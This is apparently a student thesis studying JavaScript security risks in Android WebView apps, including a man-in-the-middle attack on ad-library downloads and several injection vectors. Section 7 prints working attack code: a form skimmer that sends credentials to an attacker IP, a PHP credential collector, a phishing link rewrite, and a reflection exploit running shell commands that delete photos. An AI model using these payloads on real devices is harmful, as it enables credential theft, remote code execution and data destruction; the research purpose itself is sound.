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1. INTRODUCTION 
 
The aim of this document is to study the consequences, in terms of security issues, of the use of 
JavaScript code in Android systems. In order to do that, the author of this project has decompiled 
commercial applications, explored its code and come up with ways to attack Android devices and 
ways to defend both the user and the Android device against those attacks. 
Mobile devices have been established deeply in our society and are increasingly becoming more 
and more important for all of us. While these devices are becoming more and more popular they are 
also becoming more powerful. With all this power, we are now using the mobile devices for things 
that were unthinkable just 10 years ago. Nowadays we manage our contacts, write emails, check 
banking information, we take and keep photos and so on.  With all that sensitive data in our devices, 
it can be dangerous not taking the necessary precautions. It is very important to ensure that the 
rightful user is the only one that has access to the mobile device and its sensitive data. The only 
way to prevent any undesired person accessing our information is by strengthen the security of our 
mobile devices. Therefore is important to study the security issues on mobile devices. 
In this project the security focus has been set on the use of JavaScript in Android devices. This 
topic has been selected because JavaScript is a very well-known language very established in the 
developers community (through its popularity in the internet world), is a language that has been 
used a lot in Android devices and it will much more used in the Android world due to the release and 
popularity of HTML5 and the native platform that embed Web Applications in a native environment.  
In order to study the use of JavaScript in Android applications, some commercial Android 
applications available in the Google Play Store were decompiled and a manual inspection of their 
code was performed. The aim of that manual inspection of the code was to find out the 
functionalities that were implemented using JavaScript code and look how that code was linked to 
the application. That is, find out by what means the JavaScript was interacting with Android native 
code.  
After analyzing over 60 commercial Android applications, some security issues were found. Some of 
these security issues were related with the JavaScript language itself and the other ones were 
related to the linking process between the native code and the JavaScript code. It is popularly 
known that there are several security issues, some of them still unresolved, in the use of JavaScript 
in web environments. As the Android devices usually execute the JavaScript code in a web-like 
environment, some security issues were inherited. In relation to connection between the JavaScript 
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code and the native code, a vulnerability was also found where Java reflection was possible and 
injected JavaScript code could make, maliciously, system calls. 
Once analyzed and tried all the vulnerabilities found in the Android system related to the use of 
JavaScript some solutions and recommendations to both users and developers were compiled. 
This document will give an overall vision of the Android system and how it's complemented with 
JavaScript code and the reasons for having this interaction. Once the need of relate JavaScript 
code with the Android systems has been explained, the document will focus on the security issues 
that this relation produces. Attack vectors will be analyzed and the possible damages that the 
Android systems can suffer will be explained. Finally, at the end of this document, a few guidelines 
for users and developers will be given in order to enhance as much as possible the security on the 
Android applications. 
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2. ANDROID 
In this section the author is going to provide with some background information about the Android 
OS in order to familiarize the reader with this system as it will be useful to frame the whole project. 
2.1. HISTORY AND DESCRIPTION 
 
Android is a Linux based operating system developed for mobile devices with touchscreen such as 
smartphones or tablets. This operating system was developed by Android Inc., a company founded 
in Palo Alto, California in 2003. This company developed the Android operating system in order to 
compete with the smartphone operating systems Symbian and Windows Mobile. Two years later, 
the company was acquired by Google as a move to enter in the mobile phone industry. Google 
promoted the Android system between manufacturers and carriers and partnered with them in order 
to create and support a large number of devices. With this move Google managed to deliver its 
Android system to several devices and manufacturers. 
In 2007, Google publicly presented the Android system in order to move forward in the mobile 
standards industry. That same year the first iPhone was released by Apple with an incredibly high 
penetration in the mobile market. The first iPhone had touch screen and a very good user 
experience which was one of the goals to achieve by the Android system. One year after, in 2008, 
the first smartphone using an Android operating system was released, the HTC DREAM. 
Since that first Android device, the Android market share has grown exponentially achieving nearly 
an 80% of the market share in the second quarter of 2013. 
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Android has a very large developer community that creates applications for this platform. For that 
reason, in April 22th of 2014 the Google Play store, the main source of Android applications, has 
nearly 1,200,000 applications. The majority of these applications are free which makes them widely 
available to the public. 
 
2.2. ANDROID ARCHITECTURE 
 
The Android operating system is built in layers. In the following figure we can see the basic structure 
of the system: 
Figure 1: Evolution of mobile OS market share  
Source: BI Intelligence via http://www.policymic.com/articles/75291/apple-has-lost-the-smartphone-war-see-who-the-new-king-
of-mobile-is  
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The most inner layer of the operating system is the Linux Kernel. This layer is the core of the 
operating system and provides the basic operating system functionalities and several drivers in 
order to abstract the hardware and standardize it for the upper layers. 
Following to the Linux kernel, we can find a set of libraries written in C and C++ that are used by the 
system and user applications either to use some of their functionalities or to interact with the Linux 
kernel. In this section we can find the WebKit which is the library used by the default Android 
browser and the WebView component of the Android system. The WebView is one of the 
components that will be reviewed in this document as it is responsible for executing JavaScript 
code. 
As it can be seen in the figure, the upper levels of the system belong to the Application Framework 
and the Applications running in the Android device. All the elements inside these two last layers are 
written in Java. The reason for using Java and not C or C++, as is used in the inner layers of the 
operating system, resides in the Android Runtime section. 
The Android Runtime section includes the Dalvik virtual machine and its libraries. Dalvik is a virtual 
machine designed specifically for Android having in mind the restrictions that usually apply to mobile 
devices such as battery life. The Dalvik virtual machine has been optimized in order to allow an 
Figure 2: Android architecture diagram  
Source: http://elinux.org/Android_Architecture  
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Android device to execute multiple instances of the virtual machine. Every application in an Android 
device is executed on its own process, with its own instance of the virtual machine. 
The Dalvik virtual machine executes files in the Dalvik Executable format (.dex). This format is 
optimized for minimal memory footprint. These files are created recompiling compiled applications 
written in Java and, with the translation, not only the memory footprint gets optimized but the overall 
size of the files is smaller in a Dalvik Executable format than in a compressed Java archive file. 
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3. JAVASCRIPT  
In this section the author goes through some history and characteristics about JavaScript including 
some security faults known for this language. Having this knowledge is important as it has been a 
foundation upon the research has been build.  
3.1. DEFINITION AND HISTORY 
 
JavaScript is a programming language widely used in web browsers with a syntax influenced by the 
programming language C and with the appearance of Java code. It was created in 1995 by Brendan 
Eich while working at Netscape. The idea for creating JavaScript was to create an interpreted 
scripting language similar to Java in appearance. This was because it was a very popular 
programming language at that time and was attractive for nonprofessional programmers. 
The first name of JavaScript was Mocha, however was rapidly changed and released as LiveScript 
in the Netscape Navigator 2.0. That same year, the name was changed definitively to JavaScript in 
a latter version of Netscape Navigator. 
One year after its release, JavaScript was reviewed by European Computer Manufacturers 
Association (ECMA). ECMA studied the language and created a scripting standard known as 
ECMAScript in order to allow other browser, besides Netscape, to use the language. Although 
JavaScript is the most known implementation of ECMAScript, there are other implementations such 
as ActionScript 3. Over the time JavaScript kept evolving in concordance of the evolution of 
ECMAScript standard. 
JavaScript spread successfully and quickly among the web developers and, because of that,  
Microsoft created their own implementation of JavaScript called Jscript and started to promote the 
use of scripting languages to create dynamic web pages. 
With the standardization and the advertising of the use of scripting programing languages, 
JavaScript became one of the most popular languages on the web.  In 2005 the name Ajax was 
created in order to describe a new set of improved JavaScript programming practices and 
technologies used to create a method to load data concurrently with the execution of the dynamic 
behavior of the web page. That means that a web page could not only execute the typical 
JavaScript code but to load new data without the need of refreshing the web page. The creation of 
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Ajax allowed the developers to create much more complex web pages, or even web applications 
with a dynamic behavior. 
Nowadays with the creation of Nodejs, a JavaScript platform that allow the developers to execute 
JavaScript in the servers, and the apparition and release of HTML5 that allows JavaScript to control 
much more features of the devices such as the accelerometer or the geolocalization, it seems that 
JavaScript will stay as a one of the most used programming languages. 
3.2. SECURITY ISSUES 
 
With the proliferation of the JavaScript code on the web pages, the malicious use of the JavaScript 
or the abuse on its exploits gained strength. JavaScript is able to modify the DOM, that is, the ability 
to modify the seen and the unseen content of a web page. For example a script in JavaScript is able 
to send information to a server, replace the images of a web page for others, to add or remove a 
paragraph on a web page, etc. 
Some of the top vulnerabilities pointed out by the OWASP Foundation [8] for 2013 are related to the 
use of JavaScript. For example, the TOP 1 vulnerability is related to injection. Injection, or code 
injection, is a technique that consist in modify a legit code or add code in a malicious way. Although 
injection is usually related to SQL database language the truth is that JavaScript can also be 
injected and be a serious threat. The TOP 3 vulnerability for 2013 is the Cross-Site Scripting (XSS) 
and it is the most known vulnerability of JavaScript. 
Cross-Site Scripting occurs when an attacker is able to introduce untrusted code to the system, in 
this case a web page. In this environment, the introduced code is usually a JavaScript script 
introduced using an input of the web page. Any actor of the system is capable to perform an attack, 
the users and the administrators. As long as the vulnerability exists, is possible for everyone to 
exploit it. An example of a cross-site scripting could be that an attacker includes a malicious script in 
a banking application. If done right, the script would have all the privileges of a victim using the 
application. This kind of attack can allow identity theft, private information disclosure, introducing 
wrong data to the system and so on. 
Another vulnerability exploitable using JavaScript is the Cross-Site Request Forgery (CSRF) 
classified as the TOP 8 vulnerability by the OWASP. This attack exploits the trust between website 
and its users. In a CSRF attack, the attacker manages to trick the victim’s browser on executing 
actions without the user knowledge. This attack can be performed if all the parts needed for a  
request are visible and the only means to validate the user requests is a cookie system. If that is the 
case, all the request generated from the victim ’s device will be executed as if it was an intended 
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action by the user whether the request have its origin on the genuine website or the attackers 
website. An example of a Cross-Site Request Forgery could involve a user authenticated in a 
trusted, but vulnerable, site. If the attacker takes control over the user browser can make a request 
using a valid URL for the trusted site which the site will think is a valid request from the user. 
In order to prevent all the vulnerabilities of the use of JavaScript, the web browsers and the servers’ 
software have security mechanisms. Browsers, for example, run all the scripts in a sandbox, which 
is a security mechanism that consist in execute the scripts in a separate environment preventing the 
scripts from affecting maliciously the computer or the browser itself. This is possible because the 
browser’s data and code, as well as the data stored in the machine executing that browser, is out of 
reach from the script. Separating the execution of the script, some of the malicious behavior of the 
code, such as create or delete files, can be prevented. Another good security mechanism is the 
“Same origin policy” which states that a script from one web site cannot have access to another web 
site information. 
Although the above security mechanisms can prevent some of the attacks, or at least make them 
more difficult, the responsibility of making a secure site is for the web site developer because those 
mechanisms are not infallible. Good programming practices such as use HTML escaping for all data 
input, which basically consists in replacing special characters in a string with an equivalent code 
that can’t interact with the HTML code. As this would avoid some kinds of injection, another good 
technique is to program a non-predictable communication token in order to avoid the Cross-Site 
Request Forgery. All these techniques can minimize or even eliminate the security risks of using 
JavaScript. 
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4. NATIVE APPS, WEB APPS AND HYBRIDS 
 
Once obtained some background related to the Android OS and the JavaScript language, in this 
section the reader will find how can this two topics relate and why is important their relation in the 
present and future world. 
As has been reported in this document, Android applications must be written in Java in order to be 
translated to Dalvik execute code and run in the Dalvik Virtual Machine. In top of that, programming 
in Java ensures the security of the applications and allow the programmer to use the full potential of 
the Android device. However, as has been stated, JavaScript is a very common programming 
language very used in the web environment and it can be executed in any browser. This last feature 
it is very important for mobile applications developers because each mobile platform have its own 
native code and when a developer wants to create a new native application (that is, creating an app 
for a specific platform), he has to choose a specific platform to begin with and the other platforms 
and their users will be missed out. Creating a mobile application using JavaScript is possible and 
allows the developers to reach to more users than programming for a specific platform. These 
applications are called Web apps. 
A Web app is usually a website accessible via URL with any browser that looks and feels like a 
native app. These Web apps are created using the typical web development such as HTML, CSS 
and JavaScript. Being a normal website that just has been optimized for mobile platforms, it is 
compatible with all the mobile platforms that can support a web browser with JavaScript execution 
capabilities. However using only web tools reduces the functionalities that these apps can achieve. 
In order to solve the functionality limitations without losing the inter-platform compatibility a hybrid 
between both technologies is a good solution. There are some tools that can transform, with some 
modifications, a web app into a native app allowing the use of much more features than those 
available to web apps but less than those available for fully native apps [1][2]. These applications 
will be referred in this document as Embedded Web Applications. 
Other hybrid combination is a fully native app loading JavaScript code in a WebView executing web 
related code that can be used in all platforms. This web related code is used in native Android apps 
to communicate with web interfaces that can be related or not with the native application itself. This 
feature can be helpful when in a native application require to provide dynamic information that can 
be modified without the need of updating the app [1]. 
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JavaScript with WebView can be very useful to add advertisements to an app and monetize it, 
display information that changes regularly without the need of update the app, interact with web 
pages or web services like sign in for a service that is offered in a web page, etc. 
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5. METHODOLOGY  
 
The procedure followed in order to do this project includes the download [7], decompression and 
decompilation of over 60 commercial applications in order to look, as much as possible, how they 
work and how they use JavaScript. The package name of all the applications that were decompiled 
can be found in the appendix 3.  
The file format of the downloaded applications was APK, which is a file format used for Google to 
distribute and install software. The files were decompressed using “apktool”, a program that can 
decompress the APK without damaging its structure. With that procedure, the DEX files were 
obtained. As had been said, the DEX files are a recompilation of java compiled files so, in order to 
obtain the java code, another tool called “dex2jar” was used. With the jar files obtained, the java 
code could be seen using the program “jd-gui” or generated using the “jad” program.  
Using the “jd-gui” program, a first manual inspection of the code was made. In this case the author 
was looking for JavaScript bridges or loadUrl calls. Once found some examples of each, a program 
was made in order to parse all the files generates with the “jad” program . The aim of the parser was 
to classify the applications based on whether or not the JavaScript code was used. This parser was 
programmed in Java and had as an input both the name of each file extracted from the APK and the 
code inside each file. If the file type was JavaScript the parser classified the application as “is using 
JavaScript” and linked the file to the application. Otherwise, the parser examined the code inside 
the file and looked for keywords related to the use of JavaScript. If there was any, the program 
repeated the same procedure as before. Finally, if no file using JavaScript was found the application 
was classified as “not using JavaScript”.  
Among the 64 applications examined by the parser only 16 didn’t use JavaScript at all. Once 
separated those applications using JavaScript, a second inspection was made in order to manually 
find how was the JavaScript code used and for what purpose. This manual inspection was made 
among the applications using JavaScript. In total 10 selected applications were examined manually. 
The application selection was made in order to have a global knowledge so the selection of similar 
applications was avoided.  The manually inspected applications were: BBC, Adobe reader, Amazon, 
Deutschebank, Dropbox, CraigList, Ent Bank, Hillclimb, HSBC personal banking, Castle Clash. 
After this first manual inspection a more superficial manual inspection was made to the rest of the 
applications. Once discovered that the most common use of JavaScript in those applications was 
related to the use of advertisements, the libraries from the most used advertisements companies 
were downloaded and analyzed [3].  
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For some weeks the author attempted to find patterns in the JavaScript code used by the 
advertisement companies. The aim of finding these patterns was to build a program that, given a 
JavaScript file download, could determine whether its code was used to show advertisements or 
could have some malicious behavior.  
A second parser was built to analyze the advertisement libraries. In order to do that all the 
JavaScript needed to be retrieved. However, not everything was recovered as some of the 
JavaScript used was generated dynamically.  
Once all the retrievable JavaScript was obtained, the author used the parser to count and classify 
the method calls in the JavaScript code. This second parser was also build using Java and had as 
an input the JavaScript code previously retrieved. The parser read the code and, using a references 
file containing all the standard objects and its methods, tried to extract the distribution of the used 
methods. This was a complicated task as, so several iterations were performed in order to relate 
each method with its object. 
The data extracted using this parser was analyzed in order to find patterns among the libraries. The 
calls were presented in diagrams in order to find those patterns. This process was repeated a 
couple of times as the parser was improved, however nothing remarkable was found. 
Analyzing the libraries, some unprotected downloads were discovered. Those downloads were of 
JavaScript files used for the libraries to download and show new advertisements. Knowing that the 
applications with advertisements could download JavaScript files, a dynamic analysis of one 
application using the Admob advertisement system was performed in order to verify that the 
discovered code was indeed, vulnerable. 
The Admob library works in a similar way to the other advertisement libraries. A Java class that 
extends, in some way, the WebView class, is created in the application. A JavaScript Bridge is 
created between this class and the JavaScript that will load the class. In the dynamic analysis is 
possible to observe how the application connects to the server (in this case to a Google server) to 
ask for the JavaScript files that will be used to download and show the advertisements. After seeing 
those petitions made by the application using a net inspector (Wireshark), a full “Man in the middle” 
was performed (further details in the appropriate sections).  
Having proved that malicious code injection was possible the author come up with possible 
damages that could be done to an Android device using JavaScript. Those possible damages were 
tested separately creating an application that loaded JavaScript code in a WebView.  
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6. ATTACK VECTORS CONCIEVED AND TESTED 
 
An attack vector can be defined as the way a certain system is attacked. In order words, an attack 
vector is the set of actions, systems and vulnerabilities that an attacker can use in order to evade 
the security of the victim’s device and gain control over it (temporally or permanently) or to harm it in 
any way. 
An attack vector can be related to software, hardware or even human interaction. Usually a 
combination of these three fields can be required in order to perform a successful attack. 
Once an attack vector is completed, the damages caused on the targeted devices or its users 
depend on the attack vector and the level of power that has given to the attacker. For that reason, 
an attacker has to choose an appropriate attack vector in order to achieve his goals. 
For each conceived Attack Vector a general description, instructions on how to perform the attack 
and the extension of it is given.   
In this section are compiled some attack vectors that the author of this project has come up after 
exploring the code from several commercial Android applications and also are compiled some 
attack vectors studied by the Kevin Du team at the Syracuse University [4].   
 
6.1. MALICIOUS LINKS IN W EB PAGES 
6.1.1.  DESCRIPTION 
 
The idea in this attack vector is luring the victim to access to a malicious web page or malicious 
JavaScript file using a WebView to do it. By doing that the victim is lured to execute the malicious 
code on itself. This would be the trivial attack vector, however it can be used and some users may 
fall for it. 
6.1.2.  DIFFICULTY 
 
There is no technical difficulty in this attack vector as the attacker just has to create link to the 
malicious code. 
Page 18 of  50 
 
6.1.3.  PROCEDURE 
 
In this case the procedure is less technical and more social. In other words the way to perform this 
attack is by misleading the victim and convince it to access to a malicious site, being this attack 
more related to social engineering. 
This can be performed through email spam, posting comments in a mobile access forum or, in 
general, in all those places that can be accessed by a mobile application using WebView. Once the 
victim accesses the malicious site, the malicious JavaScript is automatically executed exploiting any 
vulnerabilities related to the use of JavaScript in the Android device. 
6.1.4.  EXTENSION 
 
It is usually recommended that all unknown links are open with the default device browser in order 
to avoid this kind of attack vector. However a lot of developers don't take this in consideration. 
 
6.2. MAN IN THE MIDDLE INJECTION 
6.2.1.  DESCRIPTION 
 
This is the least noticeable attack vector of all reviewed in this document therefore is the most 
dangerous. 
The Man-In-The-Middle (MITM) is a form of active eavesdropping in which the attacker establishes 
connections between two targets and transmits messages between them, making them believe that 
they are talking directly to each directly. However, the attacker is intercepting all the messages and 
potentially modifying them. 
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Generally the attacker must be able to intercept all messages going between the two victims and 
inject new ones. However, in this case, the attacker only needs to intercept a file request and inject 
its own malicious file. 
In order to try this attack vector a commercial application called “Star Wars Soundboard” was used. 
This application uses the Admob advertisement system and a Man in the Middle between the 
mobile device executing the application and the router was performed. It could be performed in any 
other commercial application using advertisements. 
6.2.2.  DIFFICULTY 
 
To perform this attack vector the attacker have to be, at least once, in the same network as the 
victim while the victim is requesting a JavaScript file or another kind of file that will be loaded into a 
WebView with JavaScript executing capabilities. This restriction can seem a big limitation, however 
if this attack vector is performed in a concurred public network, the number of devices attacked can 
be quite big as it can be performed to all the users at the same time. 
6.2.3.  PROCEDURE 
 
In order to perform a Man-In-The-Middle attack it is necessary to redirect all the traffic between two 
devices in order to add the attacker device as a via point. In order to do that, the attacker will 
perform what is known as ARP Spoofing. This is a technique in which the attacker sends ARP 
messages to the victims repeatedly announcing that the attacker device is the original device with 
Figure 3: MITM Diagram 
Source: https://www.owasp.org/index.php/Man-in-the-middle_attack 
Page 20 of  50 
 
they were talking to. By doing this, the victims will change their connections and will establish new 
connections with the attacker thinking that they are still talking between them. A lot of security tools 
can be found on the internet that allow the users to perform ARP spoofing. Some of these tools 
allow its users to design, create and send custom ARP messages manually while others can make 
the whole process automatically. 
In this case, in order to try this attack vector, a security tool called “Cain & Abel” has been used as is 
a renamed program available for Windows and with an intuitive graphic user interface. 
To start the attack, first, it is necessary to activate the sniffer. A sniffer is packet analyzer that, in this 
case is used to find all the network devices, gather some information about them and look into all 
the information that they are sending. In the following figure, the results gathered from the sniffer 
are shown.  
 
Figure 4: Sniffing the network 
 
Once the device’s list has been obtained, the attacker can select the victim or the victims that will be 
intercepted. Usually, having that the majority of the connections established in a network and 
between networks are directed by the router, it’s a good option to intercept the connection between 
the victims and the network router. By this means, all the communications among the network 
devices and the communications between the inside and the outside of the network will go through 
the attacker’s device. In the following figure, it is possible to see how to establish the connections 
between the two victims. 
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Once the victims have been selected, it is necessary to activate the ARP spoofing in order to 
redirect all the connections between the devices and the router. After a few seconds, all the devices 
will start to send and receive all the information through the attacker’s device. After that, the attacker 
can find out more information about the devices and its users, find out some passwords, record 
VoIP and use other tools that this program have. 
 
Figure 5: Setting the objectives to poison 
However, with all this process, what the attacker have achieved is just listen. The real attack vector 
is to inject a file into the victims with malicious code. To do that, it is necessary to know what 
operations will perform the users in the network. In this case, the attacker is working in a mobile 
device environment where the majority of Android applications have some kind of advertisement 
system. Therefore, a good option is to intercept the JavaScript files that are used by the 
advertisements companies like Admob. Admob is using an unprotected download in order to fetch 
JavaScript code that will be used to show the advertisements. 
In order to inject the malicious file, another technique has to be used in top of the ARP Spoofing. 
This is the DNS Spoofing. DNS Stands for Domain Name System and it’s a protocol used to 
translate the URLs into IP addresses. So, when a device is trying to connect to a certain URL first, 
ask to a DNS server for the correct IP. In this case then, DNS Spoofing consist in announce that the 
domain that the applications are looking for is the attacker device. By this means, if the attacker has 
a working server in the IP given by the DNS spoofing, the victims’ devices will go to that server to 
look for the Admob file and the attacker will be able to give them the malicious file instead of the 
original one. 
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Figure 6: Preparing DNS Spoofing 
In this figure the DNS spoofing is being set in order to deceive the intercepted devices. Once the 
“OK” button is pressed, all the traffic asking for the “admob.media.com” domain will be redirected 
and the attack vector will be completed. 
6.2.4.  EXTENSION 
 
This is, by far, the most extent attack vector reviewed in this document as this injection can be 
performed in all the applications that contain advertisements (at least from Google Admob) which is 
a great number of applications. In addition to that, all the advertisements platforms in Android 
devices use a JavaScript bridge to allow the JavaScript code to call native Java code and this is a 
requisite to perform some of the damages as will be reviewed in the next section. 
According to appbrain [3], 37,23% of Android apps use Admob advertisement system. So at least, 
these applications are vulnerable to a Man in the Middle attack. 
 
6.3. ATTACK VECTORS ON EMBEDDED WEB APPLICATIONS 
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With the release of HTML5 Web Applications became more powerful and easy to develop. 
Therefore, the number of Web Applications begun to increase and it is still increasing. However, as 
it has been seen, the use of JavaScript (which is widely used in HTML5 applications) can be 
dangerous. 
For the following attack vectors, we are going to consider applications written in HTML5 and 
JavaScript embedded into native applications that, at some point, need to display some information 
gathered from the outside. The problem with displaying data gathered from the outside is that some 
of the usual JavaScript APIs used to display data can look into the information that they are about to 
display and, if there is some JavaScript code, execute it. In the following figure there is a diagram of 
how the attack works. 
 
Figure 7: Attack on Embedded Web Applications  
Source http://www.cis.syr.edu/~wedu/attack/how_it_works.html 
As it can be seen, the external source of data provides not only the genuine data but also a 
malicious code to the Android device. Afterwards, when the application is about to display the 
information gathered from the outside, the API displays the data and executes the code that has 
been supplied with it.  
The malicious code can be injected into the device in numerous ways, the following section explains 
4 of them. 
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6.3.1.  INJECTION VIA WI-FI SSID 
 
An SSID is a string that is used to identify networks. The SSID are usually provided by the routers or 
other access point in order to announce its services and let the users and devices to connect to 
their networks. In a WI-FI network, the SSID is broadcasted to all listening WI-FI receivers. 
If the victim’s device has a vulnerable Web Application that reads the SSID of the surrounding WI-FI 
signals and displays them on screen, it’s possible to inject code. The injected code is the own SSID. 
If instead of a normal name, the SSID is JavaScript code, it will be executed instead of being 
displayed. Furthermore, as the SSID is length limited, it is possible for the attacker to set either 
multiple access points with pieces of malicious code or change the SSID every few seconds with 
different fragments of the malicious code. 
6.3.2.  INJECTION VIA SMS 
 
This attack vector is more straight forward and simpler. If a vulnerable application is used to read 
some SMS text message with malicious code, this code can be executed. This attack vector is quite 
interesting as it can be used to not only to attack the victim’s phone but all his contacts as the 
malicious code can be used to send SMS text messages to other people. 
 
6.3.3.  INJECTION VIA MP3 SONGS 
 
Every MP3 has information associated to it: the name of the song, the artist, the album, etc. It is 
possible to change some of these tags into a malicious script.  
If a vulnerable application tries to display information stored in the MP3 that has been replaced by 
JavaScript code, then a code injection is possible. 
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6.3.4.  INJECTION VIA QR CODE 
 
This is a simple attack vector as the malicious script is encoded in a QR code that has to be 
scanned by the victim’s device. Once the vulnerable application in the victim’s device scans the 
code and tries to display it, the script encoded is executed.  
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7. ANALYSIS AND TESTING OF POSSIBLE DAMAGES 
 
In this section are described attacks conceived and tested by the author of this project in order to 
give a sample of what level of damage can be achieved using the attack vectors previously defined.  
For each possible damage a general description and a way to proceed with the attack is given.  
These damages were tested in a custom application that loads malicious JavaScript code, usually 
embedded in an HTML file, in a WebView. By these means the author could try the possible 
damages in a controlled and comfortable environment. These damages are related to code 
injection, therefore any attack vector capable of injecting malicious code is useful to perform the 
following damages. 
7.1. FORM MUTATION 
7.1.1.  DESCRIPTION 
 
The users usually send sensitive information over the web using forms. Those forms are used to 
sing in to social networks, banks, e-mail accounts, games, etc. The idea of this attack is to allow a 
user to fill up a form in a trustworthy site but, instead of sending the information just to the 
trustworthy site, send this information also to the attacker. 
If this attack is fully performed the user can't be aware that his data has been stolen and in top of 
that there is no reason to suspect of data theft until the attacker has used this information. 
 
7.1.2.  PROCEDURE 
 
For this attack to work an attacker can inject some JavaScript code in a web page that uses a HTML 
forms to request data, for example a Log In or Sign in form. To demonstrate how this attack can 
work, the following Log In form will be used: 
<!DOCTYPE html> 
<html> 
    <body> 
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        <form action="original_Action"> 
            Username: <input type="text" name="user"><br> 
            Password: <input type="password" name="password"> 
            <input type="submit" value="Submit"> 
        </form> 
    </body> 
</html> 
 
As can be seen, this is a simple web page with a Log In form. In this case, when the user fills up the 
form and press the submit button, the information in the form is used by the trustworthy site. 
However if an attacker manages to inject the following code, that information could be stolen: 
<script type="text/javascript"> 
    function sendInfoToAttacker(){ 
 
        var x=document.getElementsByName("user"); 
        var y=document.getElementsByName("password"); 
        var stolenCredentials = "user=" +x[0].value + "&password=" + y[0].value;     
        var xmlhttp = new XMLHttpRequest(); 
        xmlhttp.open("POST", "http://23.23.23.23/attack.php", true); 
        xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-
urlencoded'); 
        xmlhttp.setRequestHeader("Content-length", stolenCredentials.length); 
        xmlhttp.setRequestHeader("Connection", "close"); 
        xmlhttp.send(stolenCredentials); 
         
        document.getElementsByTagName("FORM")[0].setAttribute('action', 
original); 
    } 
    var original = 
document.getElementsByTagName("FORM")[0].getAttribute('action'); 
    document.getElementsByTagName("FORM")[0].setAttribute('action', 
'javascript:sendInfoToAttacker()'); 
</script> 
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The code above implements three functions in order to steal the information and cover the theft. 
document.getElementsByTagName("FORM")[0].setAttribute('action', 
'javascript:sendInfoToAttacker()'); 
 
This first line of code is used to redirect the action of the form in order to allow the attacker to 
execute its own code. 
        var x=document.getElementsByName("user"); 
        var y=document.getElementsByName("password"); 
        var stolenCredentials = "user=" +x[0].value + "&password=" + y[0].value;     
        var xmlhttp = new XMLHttpRequest(); 
        xmlhttp.open("POST", "http://23.23.23.23/attack.php", true); 
        xmlhttp.setRequestHeader('Content-type', 'application/x-www-form-
urlencoded'); 
        xmlhttp.setRequestHeader("Content-length", stolenCredentials.length); 
        xmlhttp.setRequestHeader("Connection", "close"); 
        xmlhttp.send(stolenCredentials); 
 
This section of code is where the actual theft is performed. This code opens a connection with a 
remote server owned by the attacker, the user credentials are collected and, finally, are sent over 
the open connection. 
        document.getElementsByTagName("FORM")[0].setAttribute('action', 
original); 
 
This last block of code is the responsible to cover up the theft. In order to do that, the credentials 
are sent in the same way as they would have if nothing had happened. 
Once the data has been sent, it is necessary to capture those data. As it can be seen in the above 
code, the stolen credentials are sent to a PHP file in a remote server. In order to capture and store 
the stolen data, the following PHP has been created: 
<html> 
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    <body> 
    <?php 
        header('Access-Control-Allow-Origin: *'); 
    ?> 
    <?php 
        $file = 'credentials.txt'; 
        $current = file_get_contents($file); 
        $current .= $_POST["user"]; 
        file_put_contents($file, $current); 
        $current .= $_POST["password"]; 
        file_put_contents($file, $current); 
    ?> 
    </body> 
</html> 
 
As it can be seen in the code above, it has been necessary to configure the file to allow POST 
connections from unknown origins, this has to be performed because of the same-origin policy.   
Once the header has been established to receive connections from any site, the following script 
creates a file, if it doesn’t exist, and write the username and password that has been stolen in the 
previous file. Since the information has been sent before it was encrypted, both the username and 
password are stored in clear text in the credentials.txt file. 
 
7.2. PHISHING 
7.2.1.  DESCRIPTION 
 
Phishing is a method to acquire sensitive information like complete name, usernames, passwords, 
credit card information, emails, etc. In order to do that, the user is presented with an email asking for 
the data or with a copy of a trustworthy web page such as a bank website, social networks or other 
kind of services which require either a formal registration or some kind of money subscription. 
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Phishing can be considered as an example of social engineering as the difficulty of this kind of  
scams is not technical but social, as is more important that the targets fall for the trick rather than 
have an exact copy of the trustworthy web page. 
In the case of the mobile devices this kind of scam can be done more easily as the attacker can 
create a “mobile version” of the trustworthy website without giving any suspicion to the target. 
7.2.2.  PROCEDURE 
 
The procedure is quite easy, the idea is to copy a trustworthy website as much as possible or, at 
least, create a website that the user thinks is the genuine trustworthy site. 
In the following screenshot it is possible to see the comparison between a real site and a fake site: 
 
Figure 8: Phishing and real site comparison 
Source http://about-threats.trendmicro.com/us/mobile/monthly-mobile-review/2013-08-mobile-banking-threats 
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In this figure we can see that even if the copy (right) is not exactly as the original one (left), can be 
difficult for the average user to difference the fake site when is presented to him and fall for the trick. 
The attacker can lure the victim to the fake site using all the vectors explained in the previous 
section. However, the most interesting vector can be the JavaScript injection. 
In order to demonstrate how the code injection can work in this case, the following website will be 
considered: 
<!DOCTYPE html> 
<html> 
    <body> 
    <a href="http://www.TrustWorthySite.com" id="link">To Website< /a> 
    </body> 
</html> 
In this simple case there is link to a web site where the user can input sensitive information. The aim 
of the attacker is silently redirect this link to the attacker’s malicious site. In order to do that, the 
following script can be injected. 
 
<script type="text/javascript"> 
   document.getElementById("link").href = "http://www.PhishingSite.com"; 
</script> 
 
This script silently modifies the code of the web page to redirect the link to the attacker malicious 
site. Once the victim has entered to the attacker site, if introduces its credentials, those credentials 
will be stolen by the attacker. 
 
7.3. EXECUTING MALWARE 
7.3.1.  DESCRIPTION 
 
The idea is to execute malware that can help the attacker gain control over the device, gather 
information from the device and send it to the attacker, spread to other phones, etc. 
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In order to execute malware, it is necessary that the application have a built in JavaScript bridge 
between Java native code and JavaScript code. This bridge is used by applications to allow 
JavaScript code call native functions in order to enhance both functionalities and interactiveness 
between the user interface and the device resources. More information and detail about the 
JavaScript Bridge can be found in the appendix 1 
Even if the bridge is a standard procedure explained in the official Android developers’ website [5] it 
carries a great threat. That is, this JavaScript Bridge allows attackers to use Java reflection in order 
to get the Runtime class. 
Java reflection consists in allowing some code to explore other code in the same system. This can 
be useful to invoke methods that can or cannot be in an unknown type object. As Java syntax would 
not allow to call a non-existing method in an object, Java reflection allows the programmer to look 
for the method. In this case, java reflection is used to call and obtain the Runtime object, which 
allows Java applications to interface with the environment in which they are running, that is, for 
example, the ability to call the “exec()” syscall. This function, like in Linux environments is used to 
execute the command or application that it receives as a parameter. 
 
7.3.2.  PROCEDURE 
 
To perform this attack, the following line of JavaScript code needs to be injected in the application: 
 function execute(cmdArgs){       
        return 
window.jsinterface.getClass().forName("java.lang.Runtime").getMethod("getRuntime
",null).invoke(null,null).exec(cmdArgs); 
    } 
 
Once this function is injected in the code, any command can be called. The following code is an 
example of what can be executed: 
execute(['/system/bin/sh','-c','echo \"rm /mnt/sdcard/DCIM/* \" > 
/data/data/com.example.vulnerableapp/del']); 
execute(['/system/bin/chmod','770','/data/data/com.example.vulnerableapp/del']); 
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execute(['/data/data/com.example.vulnerableapp/del']); 
 
